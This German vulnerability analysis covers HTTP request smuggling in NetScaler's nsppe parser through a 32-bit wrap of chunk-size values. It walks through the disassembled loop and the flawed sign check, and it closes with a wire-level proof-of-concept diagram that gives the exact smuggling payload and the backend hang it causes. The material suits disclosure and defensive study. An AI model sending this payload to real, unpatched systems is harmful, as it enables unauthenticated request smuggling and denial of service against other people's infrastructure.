
Technische Analyse einer NetScaler-nsppe-Schwachstelle für Request Smuggling durch Integer-Wrap bei HTTP/1.1-Chunk-Größen, mit Disassembly, PoC-Abläufen auf Wire-Ebene und Firmware-Patch-Diff.
Der nsppe-HTTP/1.1-Parser für Chunked-Bodies liest das Chunk-Size-Feld in ein 32-Bit-Register und prüft nie auf Überlauf. Bei neun oder mehr Hex-Ziffern läuft der Wert stillschweigend über: 100000005 (2^32 + 5) wird als Chunk-Größe von 5 verarbeitet.
Das ist ein lustiger Parser-Bug, bis man sich vergegenwärtigt, was NetScaler mit dem Body macht: Es leitet die Chunked-Framing des Clients exakt wie empfangen an das Backend weiter, entscheidet aber anhand seines eigenen übergelaufenen Werts, wo die Anfrage endet. Der Proxy glaubt also, Anfrage #1 sei nach fünf Body-Bytes abgeschlossen, während ein korrekt arbeitendes Backend, das dieselben Bytes liest, 4.294.967.301 berechnet und sich auf einen 4-GB-Body einstellt, der nie ankommen wird. Zwei Maschinen, ein Byte-Stream, zwei unterschiedliche Auffassungen darüber, wo eine Anfrage endet.
Alles nach NetScalers Version von „das Ende" wird als neue pipelined Anfrage auf derselben Client-Verbindung neu klassifiziert und dann unabhängig über die gemeinsame Proxy-zu-Backend-Verbindung weitergeleitet.
Was dabei herauskommt, hängt vom eigenen Parser des Backends ab:
Eine unauthentifizierte Anfrage. Standardkonfiguration. Keine Vorbedingungen außer der Erreichbarkeit eines HTTP-vServers.
Die Aufgabe des Parsers ist einfach: eine Chunk-Size-Zeile wie 1a3f\r\n in eine Zahl umwandeln. Er nimmt den Puffer in rdi mit seiner Länge in esi, akkumuliert den Hex-Wert in den 32-Bit-Slot bei *rdx (Eingabe und Ausgabe, sodass eine über zwei Pakete aufgeteilte Größe sauber fortgesetzt wird), überspringt Leerraum und verlangt das abschließende \r\n. Er antwortet mit der Anzahl verbrauchter Bytes, 0 für „mehr Daten nötig" oder -1 für fehlerhaft.
Die gesamte Schleife, klein genug, um den Bug mit bloßem Auge zu erkennen:
20af5e0: movzx eax, BYTE PTR [rbx]
20af5e3: test BYTE PTR [rax+rax*1+0x2746c80], 0x10 ; ctype: hex digit?
20af5eb: je 20af60b
20af5ed: mov ecx, r11d
20af5f0: shl ecx, 0x4 ; value <<= 4
20af5f3: movzx r11d, BYTE PTR [rax+0x2746b80] ; hexval(digit)
20af5fb: add r11d, ecx ; value = value*16 + d
20af5fe: inc rbx
20af601: dec r8d
20af604: jne 20af5e0 ; next digit
r11d ist der Akkumulator, und er ist 32 Bit breit. Jede Ziffer führt value <<= 4; value += digit aus. Kein Ziffernzähler, keine Größenbegrenzung, keine Überlaufprüfung, kein jo irgendwo in der Schleife. Die neunte Ziffer führt nicht zu einem Fehler; sie verschiebt den oberen Teil der Zahl über das Ende des Registers hinaus, und niemand bemerkt es. 0x100000005 & 0xffffffff = 5, und der Parser ist damit vollkommen zufrieden.
Es gibt genau eine nachgelagerte Plausibilitätsprüfung, und sie ist auf fast poetische Weise falsch. Der Dechunking-Treiber (sub_20af6b0, Aufrufstellen 0x20af719 / 0x20af9fb, Größe gespeichert unter [r12+0x344]) wendet einen Vorzeichentest auf den akkumulierten Wert an. Man halte das einen Moment fest: Die einzigen Wraps, die erkannt werden, sind diejenigen, die in der negativen Hälfte landen, [0x80000000, 0xffffffff]. Eine umgelaufene Größe, deren untere 32 Bit unter 0x80000000 liegen, kommt als völlig normale Chunk-Größe durch. 0x100000005, das zu 5 umläuft, ist der kanonische Fall: umgelaufen, unbemerkt und verheerend.
Das Paket wird aufgrund einer einzigen Designentscheidung in der Art und Weise, wie NetScaler Bodies behandelt, zu einem Schmuggel: Es leitet die Chunked-Framing des Clients Byte für Byte unverändert an das Backend weiter, während es sein eigenes (umgelaufenes) Verständnis dieses Framings nutzt, um zu entscheiden, wo die Anfrage des Clients endet.
So beendet NetScaler Anfrage #1 nach fünf Body-Bytes und stellt die nachfolgenden 37 als zweite, gepipelinetе Anfrage in die Warteschlange. Das Backend, das die Arithmetik korrekt durchführt, liest 100000005 als 4.294.967.301 und wartet weiter auf den Body von Anfrage #1. Von diesem Punkt an lesen beide Boxen denselben Stream und leben in unterschiedlichen Welten.
In welcher Welt man landet, hängt vom Backend ab.
Attacker NetScaler (<=73.30) Backend (RFC 64-bit)
| | |
| [1] one TCP segment, 122 bytes: | |
| POST /wrap HTTP/1.1 | |
| Host: poc | |
| Transfer-Encoding: chunked | |
| 100000005\r\nAAAAA\r\n0\r\n\r\n | |
| GET /SMUGGLED HTTP/1.1 | |
| Host: poc\r\n\r\n | |
|--[1]---------------------------------->| |
| | [2] parses "100000005" into a u32 |
| | wraps to 5; consumes AAAAA; |
| | sees terminating 0-chunk |
| | ==> request #1 COMPLETE |
| | trailing 37 bytes held as a |
| | pending pipelined request #2 |
| | |
| |--[3] 85 bytes, framing VERBATIM-------------->|
| | POST /wrap HTTP/1.1 |
| | Transfer-Encoding: chunked |
| | 100000005\r\nAAAAA\r\n0\r\n\r\n |
| | |
| | | [4] parses 0x100000005 (64-bit)
| | | = 4,294,967,301 bytes
| | | waiting for a body that never co
| | | [WEDGED: no response, ever]
| | |
| | GET /SMUGGLED waits in NetScaler's |
| | pipeline queue forever: response #1 |
| | never arrives |
| | |